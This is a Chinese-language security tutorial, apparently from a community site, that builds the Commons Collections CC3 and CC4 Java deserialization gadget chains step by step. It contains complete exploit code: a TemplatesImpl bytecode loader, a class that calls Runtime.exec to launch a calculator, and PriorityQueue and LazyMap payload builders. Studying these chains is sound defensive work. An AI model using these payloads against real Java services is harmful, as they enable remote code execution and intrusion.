xiao1star2025-12-22文章来源:SecHub网络安全社区
CC3链在JDK8u71以上版本无法使用
与前面的不同之处,前面的是用的是命令执行,而整个链用的是代码执行(动态类加载)
要知道ClassLoader中的defineClass方法可以实现动态类加载,但是仅仅使用它是无法进行执行代码的
1.在TemplatesImpl类中TransletClassLoader中有一个defineClass方法调用了defineClass()方法

2.再往下有一个private的defineTransletClasses()方法调用了defineClass方法
该方法的调用,_bytecode不能为空,否则会抛出异常
_tfactoty的值不能为空用不然就会有空指针异常,但是他是由transient修饰无法进行反序列化。继续往下


3.下面有一个 getTransletInstance()的方法调用了defineTransletClasses()方法,注意_name的值不能为空,同时_class的值要为空

4.在往下有一个public的newTransformer()调用了getTransletInstance(),

根据以上的内容浅浅地写一下这个链的逻辑
.class文件用于我们后续进行字节码文件的读取public class test {
static {//静态代码块
try{
Runtime.getRuntime().exec("calc");
}
catch(Exception e){
e.printStackTrace();
}
}
}
2.这是我们根据上述分析写的CC3链的代码
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class CC3 {
public static void main(String[] args[]) throws Exception{
TemplatesImpl templates=new TemplatesImpl();
Class tc =templates.getClass();
Field namefield =tc.getDeclaredField("_name");//给_name赋值
namefield.setAccessible(true);
namefield.set(templates,"666");
Field bytecodesfield= tc.getDeclaredField("_bytecodes");//给_bytecodes赋值
bytecodesfield.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://TemplateBytes.class"));
byte[][] codes={code};
bytecodesfield.set(templates,codes);
Field tfactoryfield=tc.getDeclaredField("_tfactory");//给_tfactory
tfactoryfield.setAccessible(true);
tfactoryfield.set(templates,new TransformerFactoryImpl());
templates.newTransformer();
}
}
运行发现有报错,报错显示是空指针异常在TemplatesImpl的422行,我们跟进去一探究竟

测试发现这是判断传入的参数b数组的字节码类继承的是否为ABSTRACT_TRANSLET即AbstractTranslet类,如果是就会给_transletIndex赋值,如果不是就会进入else语句,但是我们_auxClasses是空的就会报错


那么我们的解决方法
_auxClasses通过反射赋值但是如果我们进行赋值操作,那么_transletIndex就是-1然后进入上图第二个红框的if语句中,发现还是一个报错。因此我们只有选第二种方法
我们将我们的test类继承这个AbstractTranslet类发现还需要实现他的两个抽象方法
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class test extends AbstractTranslet {
static {
try{
Runtime.getRuntime().exec("calc");
}
catch(Exception e){
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
再次运行上述代码就成功执行了我们的代码并弹出计算机

注意:我们在对_tfactory通过反射赋了值,但是这个变量是不能被序列化的,因为这个成员变量被transient方法所修饰

为何上述代码要给他赋值呢,当然是我们现在还没有进行序列化与反序列化操作呢,只是想测试一下代码是正确的。那么不对_tfactory反射赋值就会有空指针报错,但是又因为transient修饰又不能序列化该变量,其实在readObject方法中对_tfactory进行操作也就说在反序列化时无需我们手动赋值了

后续直接继承CC1链中的内容即可

现在就是将 templates.newTransformer();转换为CC1链中的通过Invokertransform.transform中的反射来实现
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates=new TemplatesImpl();
Class tc =templates.getClass();
Field namefield =tc.getDeclaredField("_name");//给_name赋值
namefield.setAccessible(true);
namefield.set(templates,"666");
Field bytecodesfield= tc.getDeclaredField("_bytecodes");//给_bytecodes赋值
bytecodesfield.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://test.class"));
byte[][] codes={code};
bytecodesfield.set(templates,codes);
Field tfactoryfield=tc.getDeclaredField("_tfactory");
tfactoryfield.setAccessible(true);
tfactoryfield.set(templates,new TransformerFactoryImpl());
//下面代码就类似于templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null )
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map=new HashMap<>();
map.put("value","key");
Map<Object,Object> transformerMap= TransformedMap.decorate(map,null,chainedTransformer);//用于实例化TansformedMap对象
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhandlerconstruct=c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationhandlerconstruct.setAccessible(true);
Object o=annotationInvocationhandlerconstruct.newInstance(Target.class,transformerMap);//实例化一个AnnotationInvocationHandler会默认调用setValue方法,进而调用checkSetValue(),进而调用transform方法
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj)throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String name)throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(name));
return ois.readObject();
}
}
因为只需要调用 TemplatesImpl 类的 newTransformer() 方法,便可以实现动态加载任意类,所以我们去到 newTransformer() 方法下,find usages。
发现有一个TrAXFilter类完美的契合了我们理念,它的构造方法中有一个_transformer = (TransformerImpl) templates.newTransformer();会调用newTransformer()方法,但是其不能反序列化,因为没有继承Serializable接口

CC3的作者没有利用Invokertransformer的transform,而是调用了一个新的类 InstantiateTransformer的transform。
InstantiateTransformer 这个类的transform方法是可以调用指定类的构造器,
找到InstantiateTransformer的构造方法,paraTypes是指的是构造方法的参数,args是指参数值

那么我们就可以利用InstantiateTransformer的transform方法去调用TrAXFilter的构造方法,进而调用templates.newTransformer(),如下是伪代码
InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
instantiateTransformer.transform("TrAXFilter.class");
后半部分 EXP 写好了,我们去找入口类的前半部分。而前半部分链子从谁调用了 transform 方法开始,所以 CC1 链和 CC6 链的前半部分 EXP 都是有效的
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
// CC3 链最终 EXPpublic class CC3FinalEXP {
public static void main(String[] args) throws Exception
{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Drunkbaby");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); //instantiateTransformer.transform("TrAXFilter.class");
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap);//动态代理的InvocationHandler的实现方法
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader()
, new Class[]{Map.class}, invocationHandler);//实现动态
Object o = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
环境
Maven下载的依赖
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
从尾部向首部分析,尾部命令执行的方式就两种,反射或是动态加载字节码。所以我们只是分析前半部分即可
与CC1链中调用invokerTransformer.tranform不同的是,在CC4链中使用的是InstantiateTransformer.transform

通过find usages,发现TransformingComparator的compare方法调用了transformer方法

发现siftUpUsingComparator调用了该方法

但是我们需要返序列化,需要到readObject方法才行,继续找发现sitfDown调用了该方法,其实私有的,继续往下找

发现heapify()调用了siftDown方法,接着往下

发现其readObject调用了heapify方法

我们根据CC3链的前半部分构造代码
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CC4 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"qqqq");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("D://test.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// instantiateTransformer.transform(TrAXFilter.class);
TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}}
之后运行发现会运行成功但没有弹出显示器
断点位置:PriorityQueue 的 736 行 siftDown() 代码,以及 795 行的 heapify() 代码。Debug 一下。

发现在 735 行的时候跳出程序了,原因是这一段 size >>> 1,>>> 是移位运算符。
value >>> num -- num 指定要移位值 value 移动的位数
具体的算法可以先不搞懂,我们点击 Evaluate Expression,将 size 的值进行替换,知道 size 等于 1 时,才算成功

要修改 Size,必然要先明白 Size 是什么,Size 就是 PriorityQueue 这个队列的长度,简单理解,就是数组的长度。现在我们这个数组的长度为 0,0 - 1 = -1,所以会直接跳出循环,不能弹计算器。
通过此语句加上即可。
priorityQueue.add(1);
priorityQueue.add(2);
同时还需要注意add方法,在我们进行 priorityQueue.add(1) 这个语句的时候,它内部会自动进行 compare() 方法的执行,然后调用 transform(),我把图贴出来。

也就以为这我们弹出的计算机,不是经过序列化和反序列化才弹出的
因为我们不需要让代码进行本地执行,所以我们可以先让 transformingComparator 的值成为一个无关的对象,在 add 完之后再用反射修改。
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CC4 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Drunkbaby");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("D://test.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// instantiateTransformer.transform(TrAXFilter.class);
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Class c = transformingComparator.getClass();
Field transformingField = c.getDeclaredField("transformer");
transformingField.setAccessible(true);
transformingField.set(transformingComparator, chainedTransformer);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}}